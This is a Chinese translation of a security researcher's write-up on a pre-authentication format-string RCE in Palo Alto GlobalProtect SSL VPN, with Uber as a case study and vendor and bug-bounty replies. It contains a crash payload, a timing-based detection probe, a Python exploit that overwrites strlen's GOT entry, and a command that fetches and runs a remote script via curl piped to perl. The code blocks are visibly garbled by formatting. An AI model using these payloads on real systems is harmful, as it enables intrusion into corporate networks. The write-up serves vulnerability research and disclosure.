攻击SSL VPN（一）

   翻译文章，原文: Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study![1]

​

SSL VPN保护公司资产不受Internet的影响，但是SSL VPN本身容易受到攻击怎么办？他们可以访问Internet，值得信赖，可以可靠地保护您访问Intranet的唯一方法。一旦SSL VPN服务器受到威胁，攻击者便可以渗透到您的内网，甚至接管所有连接到SSL VPN服务器的用户！由于其重要性，在过去的几个月中，我们开始对领先的SSL VPN产品的安全性进行新的研究。

我们计划将结果发表在3篇文章中。我们将其作为第一篇，因为我们认为这是一个有趣的故事，非常适合作为我们的Black Hat USA[2]和DEFCON[3]演讲的开胃菜：

•Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs!

不用担心剧透，我们的BHUSA/DEFCON演讲中不包括这个故事。

在下面的演示中，我们将提供更多的核心漏洞利用和疯狂的错误链，以侵入您的SSL VPN。从我们如何入侵设备以及我们关注的攻击媒介上来。我们还将演示如何从唯一暴露的HTTPS端口获得root shell，针对服务器的所有者暗中为服务器加武器，以及滥用隐藏功能来接管所有VPN客户端！所以请期待它;）

故事

在本文中，我们想谈一谈Palo Alto SSL VPN上的漏洞。Palo Alto称其SSL VPN产品系列为GlobalProtect。您可以通过302重定向到Web根目录上的 /global-protect/login.esp 轻松识别GlobalPortect服务！

关于该漏洞，我们在Red Team评估服务期间意外发现了该漏洞。起初，我们认为这是一个0Day。但是，我们无法在最新版本的GlobalProtect远程服务器上进行复制。因此，我们开始怀疑这是否是已知漏洞。

我们在Internet上进行了搜索，但找不到任何东西。以前没有公开的RCE漏洞利用[1]，也没有任何官方公告包含类似内容，也没有CVE。因此，我们认为这必须是1Day的无声修复！

[1]之前有一些有关Pan-OS管理界面的漏洞，例如CVE-2017-15944[4]和 @_fel1x[5]撰写的出色的Troppers16论文[6]，但不幸的是，他们并没有谈论GlobalProtect，并且管理界面仅暴露于局域网端口

Bug

该错误非常简单。这只是一个简单的格式字符串漏洞，无需身份验证！sslmgr是SSL网关，用于处理服务器和客户端之间的SSL握手。该守护程序由Nginx反向代理公开，可以通过路径/sslmgr进行访问

<code>$ curl 
https:
/
/global-protect/sslmgr
/<code>

<code>         
  
<
clientcert-response
>

  
<
status
>
error
status
>

<
msg
>
Invalid parameters
msg
  >
        
clientcert-response
>
/<code>

在参数提取期间，守护程序搜索字符串scep-profile-name并将其值作为snprintf格式传递以填充缓冲区。这导致了格式字符串攻击。您可以使用 %n 使服务崩溃！

<code>POST /sslmgr HTTP/
1.1
Host: global-protectContent-Length: 
36
​scep-profile-name=%n%n%n%n%n.../<code>

影响版本

根据我们的调查，2018年7月之前的所有GlobalProtect都容易受到攻击！这是受影响的版本列表：

•Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19

•Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12

•Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x和7.0.x系列不受此漏洞影响

如何验证这个漏洞

尽管我们知道错误在哪里，但要验证漏洞仍然不容易。该格式字符串没有输出，因此我们无法获得任何地址泄漏来验证错误。崩溃服务绝不是我们的首选[1]。为了避免崩溃，我们需要找到一种方法来优雅地验证漏洞！

通过阅读 snprintf 手册，我们选择％c作为我们的小工具！如果格式前面有数字，例如%9999999c，则 snprintf 在内部重复对应的时间。我们观察到重复次数很大的响应时间，以验证此漏洞！

<code>$ time curl -s -d 
'scep-profile-name=%9999999c'
 
https:
/
/global-protect/sslmgr
 >
/dev/null
real    0m1.
721
suser    0m
0
.
037
s
sys     0m
0 
.
005
s$ 
time curl -s -d 
'scep-profile-name=%99999999c'
 
https:
/
/global-protect/sslmgr
 >
/dev/nullreal
    0m2.
051
suser    0m
0
.
035
ssys     0m
0
.
012
s$ time curl -s -d 
'scep-profile-name=%999999999c'
 
https:
/
/global-protect/sslmgr
 >
/dev/nullreal
    0m5.
324
suser    0m
0
.
021
ssys     0m
0
.
01
8s/<code>

如您所见，响应时间随着％c的数量而增加。因此，从时差来看，我们可以轻松识别出易受攻击的SSL VPN！

[1]尽管有一个监视sslmgr守护程序的看门狗，但它仍然无法使服务崩溃！

利用程序

一旦我们可以验证错误，利用就很容易了。为了成功利用二进制文件，我们需要首先确定详细版本。我们可以通过Last-Modified标头来区分，例如8.x版本中的
/global-protect/portal/css/login.css和7.x版本中的/images/logo_pan_158.gif！

<code>$ curl -s -I 
https:
/
/sslvpn/global
-protect/portal/css/login.css 
| grep Last-Modified
/<code>

<code>
Last-Modified:
 
Sun,
 
10
 
Sep
 
2017
 
16
:48:23
 
GMT
/<code>

使用指定的版本，我们现在可以编写我们自己的漏洞利用。我们只需将全局偏移表（GOT）上的strlen指针修改为系统的过程链接表（PLT）。这是PoC：

<code>#!/usr/bin/python

import
 requests
from pwn 
import 
 *

url = 
"https://sslvpn/sslmgr"
cmd = 
"echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 
0x667788
 # change me
system_plt = 
0x445566
 # change me

fmt =  
'%70$n'
fmt += 
'%'
 + str((system_plt>>
16
)&
0xff
) + 
'c'
fmt += 
'%32$hn'
fmt += 
'%'
 + str((system_plt&
0xffff
)-((system_plt>>
16
)&
0xff
)) + 
'c'
fmt += 
'%24$hn'
for
 i 
in
 range(
40
,
60
):
    fmt += 
'%'
+str(i)+
'$p'

data
 = 
"scep-profile-name="
data 
 += p32(strlen_GOT)[:-
1
]
data
 += 
"&appauthcookie="
data
 += p32(strlen_GOT+
2
)[:-
1
]
data
 += 
"&host-id="
data
 += p32(strlen_GOT+
4
)[:-
1
]
data
 += 
"&user-email="
data
 += fmt
data
 += 
"&appauthcookie="
data
 += cmd
r = requests.post(url, 
data
=
data
)/<code>

<code>/<code>

修改完成后，sslmgr成为我们的webshell，我们可以通过以下命令执行命令：

<code>$ curl -d 
'scep-profile-name=curl orange.tw/bc.pl | perl -'
 
https: 
/
/global-protect/sslmgr
/<code>

我们已经把此Bug报告给了Palo Alto[7]。但是，我们得到以下答复：

<code>你好 
Orange
:

感谢您的提交。对于外部研究人员向我们报告的安全漏洞，Palo Alto Networks确实遵循协调的漏洞披露。
我们不对在内部找到的CVE物品进行修复。此问题先前已得到解决，但是如果您在当前版本中找到某些内容，
请告知我们。

Kind regards/<code>

个案研究

在意识到这不是0Day之后，我们对全球所有Palo Alto SSL VPN进行了调查，以查看是否有大公司在使用易受攻击的GlobalProtect，而Uber就是其中之一！根据我们的调查，Uber在全球拥有大约22台运行GlobalProtect的服务器，这里我们以
vpn.awscorp.uberinternal.com 为例！

从域名来看，我们猜测Uber使用了来自AWS Marketplace的BYOL。在登录页面上，Uber似乎使用的是8.x版本，我们可以从市场概述页面上受支持的版本列表中定位可能的目标版本：

•8.0.3

•8.0.6

•8.0.8

•8.0.9

•8.1.0

最终，我们找到了版本8.0.6，并得到shell！

<code>Hey   — we wanted to provide a little more context on the decision 
for
 
this
 bounty. During our 
internal
 investigation, we found that the Palo Alto SSL VPN 
is
 not the same 
as
 the primary VPN which 
is
 used 
by
 the majority of our employees.​Additionally, we hosted the Palo Alto SSL VPN 
in
 AWS 
as
 opposed to our core infrastructure; 
as
 such, 
this
 would not have been able to access any of our 
internal
 infrastructure or core services. For these reasons, we determined that 
while
 it was an unauthenticated RCE, the overall impact and positional advantage of 
this
 was low. Thanks again 
for
 an awesome report!/<code>

这是一个公平的决定。与Uber交流并向他们的Bug赏金计划报告总是一个美好的时光。我们不太在乎赏金，因为我们喜欢整个研究过程并反馈给安全社区！没有比这更好的了！

References

[1] Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!: https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html

[2] Black Hat USA: https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545

[3] DEFCON: https://www.defcon.org/html/defcon-27/dc-27-speakers.html

[4] CVE-2017-15944: https://www.exploit-db.com/exploits/43342

[5] @_fel1x: https://twitter.com/_fel1x

[6] Troppers16论文:
https://www.troopers.de/events/troopers16/630_attacking_next-generation_firewalls/

[7] Palo Alto: https://securityadvisories.paloaltonetworks.com/Report